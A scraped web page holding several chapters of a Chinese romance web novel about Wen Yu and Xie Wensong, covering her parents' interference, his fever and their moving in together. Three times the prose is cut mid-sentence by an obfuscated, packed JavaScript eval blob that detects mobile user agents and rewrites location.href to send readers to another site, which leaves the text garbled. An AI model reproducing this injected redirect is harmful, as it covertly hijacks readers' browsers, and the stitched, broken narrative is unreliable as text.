温遇放大图片,眼神没放过照片里的每一个小角落。 她很快意识到图片中的地点定位不可能是南川,加上上次游乐场的事还在她脑海徘徊。 如果能够去度假就代表着…… 温遇脑袋转得很快,她忽然意识到了什么,握在手机边缘的手指逐渐僵硬到麻木。 现在的气温早已经回升到温暖的范围内,按理说,冬天早该过去的才对。 早就该过去的。 刚坐进车里,温遇便降下车窗,湍急的气流迅速将车里残余的烟味冲掉一半,微微凉的风试图降低她的嗅觉,逐渐抹去身体内存在的各种感知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889834|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 等她再刷新朋友圈的时候,徐翩禾之前发的那条已经被删掉了。 高速路上的灯光依次在她身上划过,仿佛水下涟漪的游影,温遇感觉自己整个人就泡在水中,靠那一点点的氧气存活。 手机振动将她掌心震得酥麻,温遇低头,灯光漂淡手机屏幕上原本鲜明的颜色。 谢闻颂和她说自己要晚一点回去,要是困就别等他了。 温遇回过去一个好,视线却不由自主看向车窗外,眼前虚焦成幻影。 她想,她应该是睡不着的。 …… 在车上被烟味熏了一路,以至于温遇下车的时候感觉自己身上也一股难闻的味道。 她回到家的第一件事就是进浴室洗澡,除了贴身衣物,剩下的全部扔到洗衣机里。 温遇忙完已经是一个小时之后的事了,她看了眼手机上显示的时间,本来也没什么困意。 而且明天还是周六。 拖着微微发沉的四肢窝在沙发里,温遇才发现她的头发还没吹,想了想最后还是走进浴室,吹个半干顺便捡条毯子裹在身上,才感觉不那么冷。 客厅没开灯,她坐在黑暗里,一直在想刚才那张照片。 直到她听见门口输密码的声音,手心才感觉发热起来。 谢闻颂刚进门口看见一片黑,以为是温遇还没到家,手机从口袋里摸出来一半,就注意到沙发上坐着的人。 他选择打开氛围灯,这个亮度不至于让刚才一直坐在黑暗里的温遇感觉到刺眼。 身上的衣服还没换,谢闻颂想想,还是迅速回隔壁简单洗了下,换了身偏柔软的家居服过来。 温遇还坐在原来的位置,眼珠黝黑看向他,似乎有很多话想说。 谢闻颂先用手背试了下她额头的温度,发现不烫之后自动坐在她旁边:“怎么了?” 温遇没吹干的那部分头发在脸侧蓬松了一圈,她眼睛一眨不眨盯着谢闻颂:“我爸妈,是不是找过你了?” 问句结尾,实则肯定。 谢闻颂的手就撑在她盖在腿上的毯子旁边,他略一沉吟,没瞒着她:“嗯,找过了。” 温遇呼吸顷刻间收紧,手指攥到发白:“什么时候?” “三四天前吧,徐姨和温叔叔说找我有点事,在环想见的面。” 见面说的是什么事已经很明显了。 温遇顿时感觉脸上有些难堪:“那你——” “我答应了。” 谢闻颂收回撑在沙发上的手,眼神垂在很低的位置,将温遇没说出口的话补全。 “……” 温遇将脸偏到一边,空间中除了细小的摩擦音,尽是沉默。 等谢闻颂发现的时候,温遇的眼泪已经从脸颊边滑落好几颗,连他伸出去的手上也沾染了点点湿润。 谢闻颂其实很清楚她情绪来得这么快的原因。 “对不起,我没及时和你说这件事。” 温遇其实也明白,他没有第一时间告诉她的原因,就像她清楚谢闻颂一定知道她流眼泪的原因。 其实是一样的。 本质都是因为爱而生的默契和心疼。 所以她不会怪谢闻颂为什么没有第一时间告诉她。 他帮了她。 他一直在帮她。 温遇眼泪流得很凶,谢闻颂一边拿纸巾给她擦,一边说自己想要说的话。 隔着纸巾,谢闻颂还是能感觉到她的眼泪很烫,语气放得和那天余杭的雪一样轻。 “温鱼鱼,你听我说。” 谢闻颂把打湿的纸巾顺手扔进垃圾桶,换了张新的帮她擦:“你不愿意让我为难,是不是?” “其实你一定知道的比我早,可你没和我说过。” “那段时间,你一定也很挣扎很纠结。” 谢闻颂抬手抱了她一下,用手指梳理她的头发:“你不愿意让我为难,同样的,我也不想让你烦恼或者伤心。” “我以后是要和你一起生活的,所以你的感受在我这里才最重要。我不是和他们一起生活,我只需要考虑你。” “你的情绪,你的感知,你的心情才是我最需要关注的。所以令你烦恼的事,我怎么会不关注呢?” “我很庆幸,我有帮你解决烦恼的能力,其实我很开心。” 温遇感觉到他身上的温暖,像只小猫似的往他身上凑了凑,鼻尖因为刚才哭过残余点粉。 谢闻颂抄起毯子的一角,盖在他们的头上,像小时候躲猫猫,玩了很多次的秘密基地游戏一样。 空间一瞬间变得逼仄,周遭空气的温度陡升,眼前暗到只有贴得特别近才能看见彼此的眼神。 毯子罩住的小小空间,是谢闻颂为温遇短暂创造的小世界。 所有情绪都能容纳,由他担下公主隐藏的脆弱。 谢闻颂将他们额头贴在一起,相当亲密的姿势,不带一点厚重的情欲。 只是因为,两个人满腔都是为对方投注的心疼。 “所以啊。” “宝宝。”谢闻颂去贴她的唇,温柔唤她。 “你也体谅一下我这颗很喜欢你的心吧。” 62.荔枝 62/ 谢闻颂是从后半夜回到隔壁的。 也许是因为温遇一个人坐在黑暗里的时间有点长,所以她睡觉的时候没忍住把壁灯打开。 谢闻颂将她这些细小的反应统统看进眼里,在她趴到被窝之后,伸手将壁灯调到最低亮度,一直陪她直到睡着。 温遇一开始还没太睡着,半个手臂搭在外面,迷迷糊糊问谢闻颂在洗澡水里放辣椒会不会很好吃。 “……” 谢闻颂笑了声,配合答:“要不要我再帮你喊个120?” 温遇又不说话了,后面嘟囔一大堆,他一句话也没听清。 谢闻颂不禁弯唇,总感觉这几句应该是在骂他。 毕竟公主是有脾气的,而且脾气从不过夜,一般都当时直接发出来。 不过他乐意全盘接收。 过了会等温遇真睡着了,谢闻颂默默把门重新锁好,等到他进屋的时候,轻微的响动惊动了窝里睡得正香的核桃。 小狗直了直身子,一身金灿灿的毛在黑暗里都亮眼,核桃看见人影将光勾成一个熟悉的轮廓,这才趴下身子重新睡。 夜晚总是能很清楚感觉到心脏跳动的频率,谢闻颂直接走进书房,顺手拉亮桌角的一盏台灯。 桌面上因为灯光亮起一小块,像月光不小心烫上去的疤。他坐在桌前许久,然后埋下身从旁边的抽屉里拿出一个塑料文件袋。 他拿的是最上面的,也就是近期才放进去的新文件。 “咔”一声,谢闻颂打开按扣,将纸从文件袋里抽出来,上面的内容被照亮,赫然是一张手写的欠条。 红指印格外明显。 谢闻颂没什么情绪地在上面扫了两眼,大拇指在纸的边缘掐出一个很浅的痕迹,他拉出来看一眼又重新塞回去,收进抽屉里。 仿佛这只是一件不重要的东西。 没急着把抽屉也跟着推回去,谢闻颂垂着头想想,还是把压在最下面的文件袋抽出来。 最下面的塑料文件袋有个很明显的折角,明显到折痕一看上去就已经存在很长时间,边角都有些氧化泛黄,和刚刚拿出来的新文件袋对比明显。 手上拿到这个,谢闻颂眼睛里仿佛才多了点情绪,他没急着拆开,指尖很轻点在上面,仿佛想要隔着一层塑料材质触摸到里面几张手写乐谱。 寂静的空间里传出一声很低的叹息,谢闻颂从里面把乐谱拿出来,已经放置得很柔软的白纸上纵横交错很多条撕开的裂缝。 谢闻颂曾经用宽胶带将碎掉的纸重新粘回去,从此再想触摸,只能隔着胶带碰碰。 五线谱上每个音符既熟悉又陌生,谢闻颂试图哼出来准确的调,结果好几个音都偏离轨迹,仿佛在提醒他离过去越来越远。 他没被奇怪的思绪扰乱节奏,兀自从头哼唱到尾,虽然一句歌词也没有,不过并不影响他重拾编写这段旋律的心情。 这些年把最下面的文件夹拿出来的时候不算少,可每一遍哼唱都不尽相同。 无需刻意注意这件事,谢闻颂有时候想起就会翻出来看看,然后再像什么都没发生一样重新收起来。 周围只有台灯这一点亮光,谢闻颂想将乐谱重新收进抽屉里,只可惜文件袋的卡扣不知道别在哪儿,导致他一直放不进去。 他只能将抽屉几乎全部拉出来,将两个文件袋之间不小心卡上的位置重新整理好。 文件袋有十几个,谢闻颂发现整理好以后下面的几个还是会凸出来,他尝试着往里收了收发现似乎有什么挡在那推不动,他的手绕到后面,摸到了一个圆筒形状的东西。 谢闻颂抽出来,然后将文件袋上下贴合码齐推上抽屉,这才去打开刚才摸到的卷轴。 他知道那是什么,所以也正是因为知道,眼中从刚才的波动到现在微微凝固,因为想起什么而每个动作都显得艰涩,像盘化不开的墨。 如果说刚才翻开乐谱是有些情绪,那现在当看到这个熟悉的卷轴时,谢闻颂抬起的手都有些僵硬。 指尖挑开两边的系绳,谢闻颂往两边展卷轴,很淡的墨味随着纸之间的摩擦渗进空气里,中间只有四个毛笔字—— 喜闻颂时。 / 谢闻颂小时候没什么梦想。 在那个被家长追问有什么理想志向的年纪,谢闻颂满脑子想的都是—— 大人们幼不幼稚。 他未来想做什么,喜欢做什么,要成为什么样的人,他自己都还不知道呢,要给一个具象的答案简直比撒谎还难。 他就是想这样每天有什么过什么,把眼前的事一件件做好,连接起来,不就是未来他要做的事? 小小的人自有自己生活的一套道理,乔若琳听见他鼓起脸颊的感慨也忍不住去捏他的脸。 谢景舟也觉得自己儿子的一番话颇具哲理,暗自骄傲一番,没再问过他这种问题。 等到谢闻颂再稍微大一些,父母因为各自的原因四处忙碌奔波,外公成为经常照顾自己的人。 老人家看上去古板严肃,书房里的书多得他眼花缭乱。可能是从事医学行业相关工作太久的原因,谢怀崇身上自带一种对生命的敬畏和严肃,谢闻颂每次和外公单独相处的时候,浑身都有一种难以化开的紧绷感。 被他叫做外公的人,是世安医院的骨科圣手。小时候的谢闻颂也跟着外公来过医院几次,交班的时候他跟在外公旁边,从一堆比他高很多的哥哥姐姐之间穿行过去,站在外公身后,蛮不自在地盯起自己脚尖。 他能清楚听见有路过的人问起他,然后在听见他是谢怀崇的孙子时噤声。 一片片晦涩的,他听不太懂的语言里,他看见外公聚精会神在本上飞速记录什么,谢怀崇的目光掠过他投去的好奇眼神,平静无波地继续写手里的东西。 谢闻颂抬头又低头,放在背后的手指搅在一起。 一点儿也没意思。 原本以为会对自己很严厉的外公,出乎谢闻颂意料的“没太管他”,不过问他在学校的生活,不问他的假期规划做得如何,也从不主动了解他考试成绩,不问他在班里、年级上排多少名。 父母不在身边,外公好像也对他并不在意。 这样的态度仿佛只是被迫接受一个不太重要的人来家里一样。 谢闻颂心里并不太好受,甚至有一天哭着扑进外婆怀里,问外公是不是不喜欢他。 外婆怔愣许久,问他为什么会这么觉得。 谢闻颂压着声音把这些憋在心里的话吐了个干净。 外婆柔软温热的手一下一下拍他的后背,问了一个他没太想到的问题:“前几天你半夜发烧,第二天早上就好了,你还记得吗?” 谢闻颂睫毛湿漉漉的,点点头。 那天他半夜浑身发烫,自己都没意识到发烧,只记得有人给他喂了药敷了凉,第二天早上什么事都没有。 仿佛只是一场梦。 病痛一点没存在他身上一般。 外婆见他记得这事,抬手摸摸他的头:“你外公晚上去你房间看你有没有踢被子,结果一进去就发现你发烧了,连忙找药,又让我倒水,一直照顾到你退烧。” 谢闻颂眼中闪过讶异,没想到这些事竟然是外公做的,他别扭地反问,连哭都不哭了:“真的吗?” 不会是外婆没和他说实话吧。 谢闻颂咬唇确认这番话的真假,天平又不自主地往真的那边倾斜。 外婆笑着告诉他:“你要是不信,今晚可以看看你外公会不会去你房间里。” 噢,对哦。 这是一个方法。 谢闻颂伸手把眼角残余的泪水擦干,还用凉水洗了好几把脸,比平时提前好一段时间才爬上床,默默把被子拉到头顶—— 没过几秒,又重新被他拉下来。 因为太不透气。 也因为自己心中太过纠结。 纠结到他一直在想刚才外婆和自己说的话,辗转反侧把被子边儿都捏得发潮,谢闻颂来回看好几次手表,一直等到他平时睡觉的时间。 听见房门有很轻微的动静,谢闻颂立刻闭上眼,为了不显得自己四肢僵硬,还故意跨一条腿在被子外面,摆出一个自认为很随意的姿势。 木板门向内划出一个扇形弧度,黑色的倒影挤开灯光,谢闻颂装睡不敢睁开眼,只能用其他感官拼命捕捉外公存在的证明。 一声很低的叹气声在空间内响起,谢闻颂感觉搭在自己身上垂落的被角被人从底下挽起来,腿被人抬起,重新收进被子里,动作相当轻柔。 谢闻颂此时已经基本相信外婆说的话,因为那声叹息的声音他相当熟悉,也不可能认错。 就是他的外公。 来人像是做了很多遍同样的事,照旧替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢闻颂眨着发涩的双眼,蹲下身拿起花洒,抬手重新安回位置,手背下意识碰上额头,不太正常的温度仿佛和还未脱离的梦意外重合。 谢闻颂在想,他可能有点烧。 脑中有感应似的突然冒出四个字。 物是人非。 这四个字,怎么会这样刺人。 连他这样看上去足够坚强的人也不太能受得了。 这些过去涌上来的时刻,他也不想自己一个人面对。 洗过澡后,谢闻颂喝了半杯温水重新躺回床上,双眼盯着一片白的天花板,想起梦里也有这样一片白的时刻,他闭了闭眼,任由模糊的神志层层冲洗脑海。 清醒退下去的最后一瞬间。 他看见温遇转过身,唇边弯起一抹笑。 脑中似车碾过的轰鸣声,在看清楚那张脸的瞬间,音波图霎时变成一条平直的线。 那是。 温鱼鱼。 …… 温遇给谢闻颂打了好几个电话都没通。 昨天晚上谢闻颂一直陪她直到自己睡着,也许是有他在,这一觉睡得挺好,睁眼就能看见阳光。 温遇抬手摸了一下,眼角发涩的感觉已经消失得无影无踪,昨天复杂的心情已经被人重新打扫过,一尘不染,空间里全是暖阳。 周末天气好,温遇简单给家里打扫之后,想问问谢闻颂要不要一起带核桃去公园晒晒太阳,就当是踏春了。 结果视频电话一个也没接通,温遇试探性地敲了敲隔壁的门,核桃听见叫了声,伸出小爪在内挠门板。 没听见拖鞋踩在地面上的声音,温遇拿出手机,想起上次她接核桃来自己家住的时候,谢闻颂给她留的电子锁密码。 搜关键词找到那条谢闻颂给她发的消息:93698。 看起来和他们都没有特殊关系的五个数字。 不过—— 温遇脑中有什么划过,她抿抿嘴试探性证实自己的猜测。 她把自己常用的二十六键切换成九键。 按照数字对应的字母格一个个点进去。 发现她打出了自己的名字。 93698。 WENYU。 温遇在门口站了半天,指尖就悬浮在屏幕上,打字处的短线一下一下地闪。微微凉的空气从她裤腿灌进去,掀起一层薄薄的体感温度。 温遇垂眸,手指在电子锁上输入数字。 边输边想。 谢闻颂,你到底还有多少秘密,没有告诉我。 63.荔枝 63/ 温遇一进门就发现不对。 整个屋子安静得过分,自身预警的直觉直往脑门上突突,让她的神经不自觉绷紧。 核桃见她从外面输入密码进来,前爪乖巧地搭在地面上,睁着水汪汪的眼睛看她,往外吐舌头。 “……” 温遇在门口和小狗四目相对几秒。 她起初以为谢闻颂没在家,不过核桃在看见她的两秒后,紧接着就往屋里跑,似乎已经洞悉她的来意。她也很快反应过来,甚至还跑快几步才能跟上小狗。 相比自己那儿的装修,谢闻颂家里基本都是以冷色调为主,单调的黑白灰,直接照搬钢琴上现有的颜色。 她其实来谢闻颂这儿的时间并不多,简单扫过一眼,就能发现他家里很少有亮眼的颜色乍现,过分的低饱和色调,仿佛只看一眼就能消暑似的。 思绪在脑海里跑得飞快,温遇其实在刚刚短短几秒想到了什么,只不过相比于急着见到谢闻颂来说,那些亟待被证实的事显得并不太重要。 比如明明是一梯两户的房子,为什么她那儿是精装,壁纸“恰巧”是自己喜欢的苹果绿,布置也是简约大气的欧式风。 这样看,她发现门锁数字的深意仿佛只是一个开始而已。 谢闻颂卧室门留了一道缝,温遇直接推开进去。动作不大,躺在床上的人微微动动眼皮,并没睁开。 谢闻颂这一晚上连窗帘都没拉,大半的阳光从外投射沿平台铺展,冲淡床单被褥的黑,看上去泛起陈旧的灰调,温遇拍拍肩膀喊他的名字。 谢闻颂有了点反应,睁眼看见她时,仿佛还沉浸在梦中。 不过也仅仅只是几秒钟,他很快反应过来,哑着嗓子发声—— “屋里冷,你去我柜子里找件衣服盖在身上。” 没问她为什么会来。 更像是对她的一种无声默许。 谢闻颂去年原本没打算住在这儿的,各种居家用品陆陆续续到来年春节都过了还没准备齐全,前段时间环想年会他去晚了,大家给他留了个电暖器放在办公室,开玩笑让他多吹吹,好降一降办公室的低气压。 于是他坐在椅子上,和电暖器深情对视了一分钟,还是决定晚上搬回家。 拿回来的这东西给核桃用,谢闻颂对自己冷点倒并不是很在意。 在床上睡得迷迷糊糊时他还在想,会不会是因为在家里着凉才会发烧。 谢闻颂躺着用手背碰了下额头,明显还有点烧,他装作若无其事挪开。 温遇一直盯着他的反应,根本没被他这点小伎俩骗过去,抬手直接和他额头无缝衔接,然后罕见地冷下脸。 温遇很少会露出这个表情,每根睫毛上仿佛都站了“我现在很认真”六个字。 谢闻颂双手搭在被子上沿,目光一寸寸往她脸上娜。 温遇瞅他这副半装出来的可怜样,也不想此刻花费情绪和他较劲,叹了口气问他:“吃没吃药?” “没吃。”谢闻颂刚说完就觉得杵在他床边的人气场又变化几分,这才心虚着补充:“刚要吃。” “……” 刚要不是她喊醒他,还那么睡着呢。 还刚要吃。 撒谎张口就来。 温遇沉下心,也选择暂时不和病号计较:“自己能起来吃吗?需不需要我端到床边来。” 也许是温遇这副表情实在是太有意思,谢闻颂想抬手捏她的脸,公主早有防备似的往旁边退了几步,警惕盯着他不怀好意伸出的手。 见实在够不到,谢闻颂便也收回手,一鼓作气掀开被子,双脚熟练插上拖鞋,从床边站起身,看上去没有一点残存的病态。 不过让温遇吓一跳的不是他这熟练的操作,而是他上身根本没穿衣服。 这人竟然习惯裸睡吗? 哦不对,下面穿了条裤子。 裸得不算干净。 谢闻颂注意到她变化的眼神,也往自己身上看了眼,欲盖弥彰地解释:“洗完澡太热了,就没穿。” 餐厅桌子上是他平时喝水用的玻璃杯,电水壶好久没烧热水,早已经被他收进厨房的橱柜里。 玻璃杯里面甚至都积起一层灰。 谢闻颂抬手摸了下后脖颈,顺手放到水龙头下洗干净,然后果断选择去冰箱里拿冷藏格里的矿泉水,倒了半杯。 温遇还没来得及阻止,这人已经将空掉的矿泉水瓶以投篮的姿势扔进门口的纸箱里。 “……” 于是心中的问题从“男生睡觉都喜欢裸睡吗”变成“男生是不是都喜欢这么扔矿泉水瓶”。 生病了还要幼稚。 白瞎她那么担心。 温遇往厨房的位置走,四顾看看:“热水壶呢?” “在橱柜里,我去拿就行。” 谢闻颂喝了口水就去拿,他蹲在橱柜前对里面的几个纸箱翻翻看看,后背一条背沟尤为明显,温遇第一次这么直观看一个男人上半身的肉/体,眨眨眼刚想挪开,想起这是自己男朋友,挪什么挪。 结果下一秒差点走成同手同脚。 “……” 温遇也想找个杯子给自己倒点水喝。 谢闻颂家里东西少,所以像电水壶这种体积中等的物品,放在一个位置还是很明显就能找到。 温遇过去,想从他手里接过水壶,在水池里洗一洗内胆,走到旁边瞥见他灰色运动裤的两根绳长短不一耷拉在下面。 再往下走。 似乎是顺理成章就看到了那块鼓包的东西。 实在是难以忽略。 “……!” 温遇这次不淡定了,握着水壶把手的动作略微僵硬,扯出一个自己都不知道的表情:“你……” 谢闻颂没听清她说话,下意识往她这边倾身:“你说什么?” 额发蹭在她身上,仿若隔靴搔痒,带起一小阵电流。 温遇仓促扭头,长发挡住半边脸,指端重新握上把手,转身往水池的位置走。 水龙头拧开,哗哗水声冲淡屋里原本的寂静,温遇感觉到面颊的发烫,回头又瞄了眼站在原地的某人,面色有些复杂。 “你每天早上都这样吗?” 说完这句,温遇继续背过身冲洗电水壶的内胆,没再往身后看,原本以为谢闻颂并没听见,结果这人趁她洗水壶的时候从后面贴上来,双臂从后面环在她身前。 他身上烫,到温遇这感受到的就只剩下温暖,她看了眼环在自己身上的手,没有做推开的动作。 谢闻颂偏瘦,但不是那种不健康的瘦,该有的肉一分不少,感觉都长在了该长的位置。 想到这,温遇不动声色地把水龙头看大了点,试图冲洗掉脑中的黄色废料。 “水都快溅身上了。” 谢闻颂抽出一只手关掉水龙头,下巴颌儿毫不见外地就往温遇的颈窝搭,闷闷地嗯了一声。 起初温遇还没反应过来谢闻颂嗯这一声是什么意思。 直到他含着笑音继续说:“每天早上都这样。” “……” !!! 温遇现在想把他推开了。 臭混蛋一个。 大早上就开始耍流氓。 …… 谢闻颂套了件上衣推开卧室门往外走,臂弯处搭着件白色的针织外套,他就手递给温遇:“你披上点,别感冒了。” 温遇没急着往身上穿,盯着外套上纯色的牛角扣,狐疑看他:“这是你的衣服?” “嗯。”谢闻颂往玻璃杯里兑点刚烧好的热水,扳开铝板把药片倒在手心,混着水吞下去,“我没怎么穿过。” “噢。”温遇披好,然后抬手去碰谢闻颂的额头,“还是挺烫的。” 谢闻颂莞尔,连带着眼角都往下弯:“我刚吃药,药效哪有那么快。” 温遇看他刚喝过的玻璃杯,也发觉自己刚刚这个行为有点没经过大脑,火速收回手,装作没事人一样往厨房走。 谢闻颂拉住她,眼神问她要去做什么。 “我去煮点粥……”温遇说到这反应过来,“你这是不是连米也没有?” 四目相对,谢闻颂率先挪开视线。 温遇还有什么不明白的,直接说:“你来我这吧,把核桃也带来。” “据说下一周还会起风降温,等天气真正暖和以前,你都先住我那吧。” 谢闻颂拿起杯子的手稍顿,目光望向已经往门口走的温遇,她看见放在鞋柜外面的鞋,自然而然蹲下身往柜子里收。白色的针织外套差一点垂到地上,明显要比她平时的衣服大一圈,松垮披在身上,像只偷穿大人衣服的兔子。 温遇右手搭在门把手上,回头看他:“把药拿上,热水我这有。” 核桃已经乖溜溜地来到她身边,和女孩一起出了门。 谢闻颂坐在餐桌边,就这么被公主安排好详尽的一切。 他慢悠悠站起身,把药盒装进塑料袋里。 某人笑得肩膀轻微抖动。 想起高中某次公主生气时,滚到她脚边的篮球看都不看一眼。 明明清楚知道那球是他的,也看见他要往这边走的动作,就等着她帮忙踢一脚。温遇眼神愣生生在他周围勾了个轮廓,完美避开他所站的位置。 明显空气都比他有存在感。 温遇仿佛什么也没发生一样,和同学一起往教学楼里走。 和她结伴走的女生一脸疑惑地看他俩。 谢闻颂只好自己去她刚才站的位置捡球,他当时还在想,公主好冷漠噢。 现在—— 他想起刚才温遇勉强维持淡定说出去她那住的话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958136|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她应该没发现自己悄悄红了耳朵尖吧。 公主哪里冷漠了? 公主明明很热心。 也很心软。 - 拂开挡在脸上的发丝,温遇坐在公园的木质长椅上,整个人被温暖的太阳光裹挟,她舒服地喟叹一口气。 只不过这口气还没喘完,她又伸出手往谢闻颂的脑门贴,然后习惯性和自己额头的温度做对比。 “好像不烧了似的。” 谢闻颂把刚刚拉上去的帽子又重新盖下来,阴影罩着一张冷白皮的脸。 黑色口罩将他下半张脸罩了个干净,这人还戴了个墨镜,温遇出门前还吐槽过他这是什么明星打扮,然后想起这人应该也算是个“明星”。 之前她还担心被社里的人看见认出来他这张辨识度相当高的脸,现在倒是没有当时的紧迫感了。 原因是温遇已经在此之前与他“君子协定”:如果哪天事情暴露,就说谢闻颂是找她要债的,以防万一,温遇还将手机里给他的微信备注亮出来加以佐证。 谢闻颂问她Bigboss是什么意思。 温遇显然已经入戏:“当然是房东啊。” “…………” 谢闻颂扯了个不算太好看的笑容。 谁当初脑抽答应要和她“君子协定”的? 他想起之前握住她手占便宜那件事,他想,可能答应的时候是第二人格跑出来吧。 反正应该不是他答应的吧。 思绪流转到现在,谢闻颂注意到温遇还在暗暗比量他们两个人的体温,不禁笑出声:“出门的时候就已经不烧了。” 他之前倒没觉得,温遇这么喜欢给人测体温:“一分钟前,你刚把手从我头上拿开,帽子差点飞到旁边的草坪上。” “……有吗?” 温遇眨眨眼,试图蒙混过关。 回应她的是谢闻颂很小的笑声。 口罩过滤一层,落到她这边,似乎刚从草地里打滚一圈,粘了一层毛刺样的嫩草,蹭得耳朵都跟着痒痒的。 温遇以前还没觉得,自从和他在一起之后,这人的声音也开始变得犯规起来。 加上早晨给她视觉感强大的冲击…… 温遇突然觉得鼻子有点干。 想起青春期最躁动的时候,程以桉兴致勃勃地给她分享了好几个精选的小视频。 温遇起初还没意识到不对劲,直至紧闭的房门内,她躺在床上,听见听筒里传来大口喘气的声音,以及各种压抑克制的闷哼声,才发觉程以桉到底给她发了什么。 那后来,还有段相当精彩的故事。 温遇发现现在的自己能很坦然地面对当时的窘迫—— 只是还没坦然到当着谢闻颂的面讲出来。 核桃的牵引绳在谢闻颂手里,小狗在活动范围内尽情撒欢,肚皮迎向太阳光,似乎也在感受春天独一份的温暖,金灿灿的毛藏了零星草屑。 这个春,兜兜转转还是踏上了。 温遇兴致冲冲买了两个樱花味甜筒回来,上面还插着樱花形状的粉色小饼干,她照旧拍了几张照片,咬掉最上面的尖,慢悠悠开始欣赏。 谢闻颂手指把口罩挑到下巴的位置,有些欲言又止:“那个——” “你真把我当房东啊。” 温遇转头,某人嘴角还有淡粉色的冰淇凌,唇线因为问话的内容而不自觉微微绷紧,尾端弧度很小的上翘好像也蒙了层不自知的委屈感,隔着一层墨色镜片的双眼藏不住半真半假的水汽。 公主又看了眼尽情撒欢的核桃,目光又移向他。 好像目前是这只小狗比较可怜。 温遇在心里默默吐槽某人怎么总是偷偷卖萌而不自知,表面上却被他这副模样吃得死死的,果断且火速地亲了下他的唇。 “骗你的。” 从他唇上离开,温遇忘了自己也满嘴的冰激凌奶油,原本谢闻颂嘴上还没多少,她这一贴竟是粘掉大半去。 温遇顿时笑出声,连连说不好意思,另一只手就要从兜里翻出来纸巾给他擦。 “我给你擦擦。” “不用。” 温遇指尖刚捏上手帕纸的外包装,就被谢闻颂牵她的力道下意识扭回头。 某人刚摘下帽子的头发不太乖顺,翘起来好几根,温遇正想问他怎么把帽子摘下来。 谢闻颂单手捏住渔夫帽帽檐,将里侧挡在他们的脸前,下午公园的人少,温遇往帽子遮挡的方向看了眼。 唇上微微发干的奶油被贴上来的湿热重新融化,谢闻颂手上的牵引绳动了动,与衣料发生细小的摩擦声。 帽子挡住一部分向它们席卷而来的风,剩余那些人残存的气流是仅仅只能掀起发梢的温柔情调。 谢闻颂专注和她接吻。 “我再蹭回去就行了。” 64.荔枝 64/ 温遇在整理自己平时休息的那张床。 她从刚搬来到现在就一直睡这,隔壁屋子温遇用不上,床上一直蒙上不用的被单,里面的东西她也没动过。 加上这个房间冬天比谢闻颂那儿还要冷,温遇根本不可能让他住。 好在自己平时睡的这张床足够大,他们两个人躺在一块也不算拥挤。 只是—— 温遇头一次有这种体验,在这段感情开始之前,温遇都认为他俩的友谊挺纯粹。 怎么过着过着就变了味。 直到现在,温遇已经能够相当自然和他保持正常情侣相处的关系。 不过倒在同一张床上,不管有没有发生什么,都有点太暧昧了。 温遇至今记得在绵安酒店的那一晚,谢闻颂把自己的手搭在她的手上。 细数这些年来,她睡不着的时候其实并不多,做噩梦的时候更是少之又少。 可即便是这样少之又少的时刻,大部分都有谢闻颂的存在。 于是温遇又想,可能纯粹的友谊只是她的自以为,也许她动心的时候要比自己以为的还要早。 也许在机场,她落地看见他站在车前等自己的时候。 也可能是试探性开口去他那里暂住一晚,实则温遇大概想到谢闻颂不会拒绝自己的时候。 又或许是把她随手丢给他的塑料手机挂坠随身带了一年又一年,上面细微的磨损像天然形成的结晶。 还有可能是他把生日皇冠戴在她头上,说皇冠是公主专属的时候。 太多太多清晰的瞬间。 只要她肯张开手,这些似雪花纷飞的回忆就能纷纷落入掌心。 温遇也不知道自己当时怎么下定决心和谢闻颂说起上这边来住这件事。 其实她刚进家门就暗自跺脚,暗道自己嘴也太快了。 公主倚在门板上,在想说出去的话能不能重新收回来。 结果晚上,某人自己抱着被子过来了,可谓是相当自觉。 一点也没把她的话听岔。 温遇手指尖扣着睡裤上突出来的绒毛,伸手在床的两侧指了指:“你睡哪边?” 谢闻颂似乎很轻易就窥破了她的窘迫,唇线微微上挑,顺着她话来:“哪边都行。” “那你自己放被子吧。”温遇让开一边的位置,“你睡靠阳台这边也行——” 谢闻颂已经把被子放在靠床头灯那一边,温遇疑惑抬头,恰巧被他拨了下刘海。 像指尖轻触黑白琴键。 “上次谁睡觉还要留一盏灯来着?”谢闻颂弯腰铺好自己的枕头:“以后你睡着我再关灯,我靠灯睡,这样你睡那边,光亮也不会太刺眼。” “……噢。”温遇默默把丢到边上的被子拉回自己今晚要睡的位置,“那你会不会觉得刺眼?” 谢闻颂回答的没什么犹豫:“不会。” “噢。”温遇顺手把窗帘拉上,动作很快地钻进被窝里,把自己裹得相当严实。 谢闻颂看见她这一连串的小动作,心尖上最柔软的地方仿佛被一层蜜糖裹挟着烘烤融化开。 一粉一蓝,两条颜色很淡的被子,温遇记得早上谢闻颂还不是盖的这条。 也不知道他什么时候换的。 温遇刚钻进被窝,想起什么又半直起身,被角画到胸口,“今晚不用留灯,一会你要睡的时候直接关掉就行。” “你现在休息吗?” 谢闻颂掀开被子一角,轻轻嗯了声。 “好。” 温遇也不知道该说什么,重新把被沿拉到下巴的位置,装作若无其事看向天花板。 被暖橙光晕染的墙纸有些看不出原来的颜色,温遇看着看着,突然想起早上那个没说出口的问题:“谢闻颂,这边屋子的装修,是巧合吗?” 